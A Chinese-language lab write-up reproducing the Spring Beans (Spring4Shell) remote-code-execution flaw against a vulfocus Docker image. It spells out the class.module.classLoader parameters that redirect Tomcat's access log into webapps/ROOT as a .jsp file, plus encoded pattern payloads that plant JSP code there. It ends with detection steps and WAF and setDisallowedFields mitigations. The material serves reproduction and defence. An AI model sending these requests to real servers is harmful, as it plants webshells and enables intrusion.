Spring Beans RCE 复现
影响范围
- JDK >= 9
- 使用了 Spring 框架及其衍生框架
spring-beans-*.jar
文件或存在CachedIntrospectionResults.class
漏洞介绍
Spring MVC 框架的参数绑定功能支持将请求中的参数绑定到控制器方法中参数对象的成员变量,本质上就是参数绑定引发的变量覆盖漏洞。公开的利用链是通过求获取 AccessLogValve 对象并注入恶意字段值,从而触发 pipeline 机制实现任意路径下写文件。
漏洞复现
环境
docker 镜像:
docker pull vulfocus/spring-core-rce-2022-03-29:latest
docker run -d -p 8080:8080 --name spring-core-rce vulfocus/spring-core-rce-2022-03-29
原理及利用
本质就是变量覆盖修改 tomcat 的 log 配置,实现在webapp/path
下写入 jsp,实现命令执行。
- 发送请求修改tomcat 日志文件名 和 路径
# 设置文件后缀为 .jsp
class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
# 设置文件前缀为 shell
class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell
# 设置日志文件的路径为 webapps/path,只有该文件下的 jsp 文件会被解析
class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
- 发送请求设置 log 的
pattern
和fileDateFormat
,其中 pattern 具有固定格式,根据官方定义,pattern 的值可以是common
和combined
# common 的定义
%a - Remote IP address. See also %{xxx}a below.
%A - Local IP address
%b - Bytes sent, excluding HTTP headers, or '-' if zero
%B - Bytes sent, excluding HTTP headers
%h - Remote host name (or IP address if enableLookups for the connector is false)
%H - Request protocol
%l - Remote logical username from identd (always returns '-')
%m - Request method (GET, POST, etc.)
%p - Local port on which this request was received. See also %{xxx}p below.
%q - Query string (prepended with a '?' if it exists)
%r - First line of the request (method and request URI)
%s - HTTP status code of the response
%S - User session ID
%t - Date and time, in Common Log Format
%u - Remote user that was authenticated (if any), else '-' (escaped if required)
%U - Requested URL path
%v - Local server name
%D - Time taken to process the request in millis. Note: In httpd %D is microseconds. Behaviour will be aligned to httpd in Tomcat 10 onwards.
%T - Time taken to process the request, in seconds. Note: This value has millisecond resolution whereas in httpd it has second resolution. Behaviour will be align to httpd in Tomcat 10 onwards.
%F - Time taken to commit the response, in milliseconds
%I - Current request thread name (can compare later with stacktraces)
# combined 定义
%{xxx}a write remote address (client) (xxx==remote) or connection peer address (xxx=peer)
%{xxx}i write value of incoming header with name xxx (escaped if required)
%{xxx}o write value of outgoing header with name xxx (escaped if required)
%{xxx}c write value of cookie with name xxx (escaped if required)
%{xxx}r write value of ServletRequest attribute with name xxx (escaped if required)
%{xxx}s write value of HttpSession attribute with name xxx (escaped if required)
%{xxx}p write local (server) port (xxx==local) or remote (client) port (xxx=remote)
%{xxx}t write timestamp at the end of the request formatted using the enhanced SimpleDateFormat pattern xxx
本来是可以直接在 pattern
中直接写入 payload,例如:
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=666
class.module.classLoader.resources.context.parent.pipeline.first.pattern=%3C%25out.println(123);%25%3E
结果出现错误,主要是因为写入的字符中包含%
字符,该字符在日志配置中有特殊作用,因此报错如下:
所以尝试用combined
中的一些定义尝试写入 webshell,避免%
的直接写入:
# 法一:根据定义使用 `%{xxx}i` 从 HTTP Header 去读取值并写入
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=666
GET /?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bcmd%7Di HTTP/1.1
Host: IP:PORT
cmd: <%out.println(123);%>
法一存在缺陷,无法直接写入"
,存在转义:
可以直接在 pattern 里写"
,然后依靠%{xxx}i
从头中读取%
字符,或者使用下述法二。
# 法二:根据定义使用 `%{xxx}t` 直接写入以 simpleDateFormat 格式定义的 timestamp,这个 timestamp 是可以包含 `%` 和 `"` 字符
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=888
GET /?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%3C%25%7B%25%7Dtout.println(%22mytest%22);%25%7B%25%7Dt%3E HTTP/1.1
Host: IP:PORT
排查与修复
-
排查
- jdk 版本
- 不论是 war 包还是 jar 包,解压后排查
spring-beans-*.jar
格式的文件、排查CachedIntrospectionResuLts.class
文件
-
临时修复
-
依靠 WAF 规则中对参数中所有出现的
class.*
,Class.*
,*.class.*
,*.Class.*
字符串过滤 -
在应用中全局搜索
@InitBinder
注解,看看方法体内是否调用dataBinder.setDisallowedFields
方法,如果发现此代码片段的引入,则在原来的黑名单中,添加{"class.","Class.",".class.", ".Class."}
如果此代码片段使用较多,需要每个地方都追加
-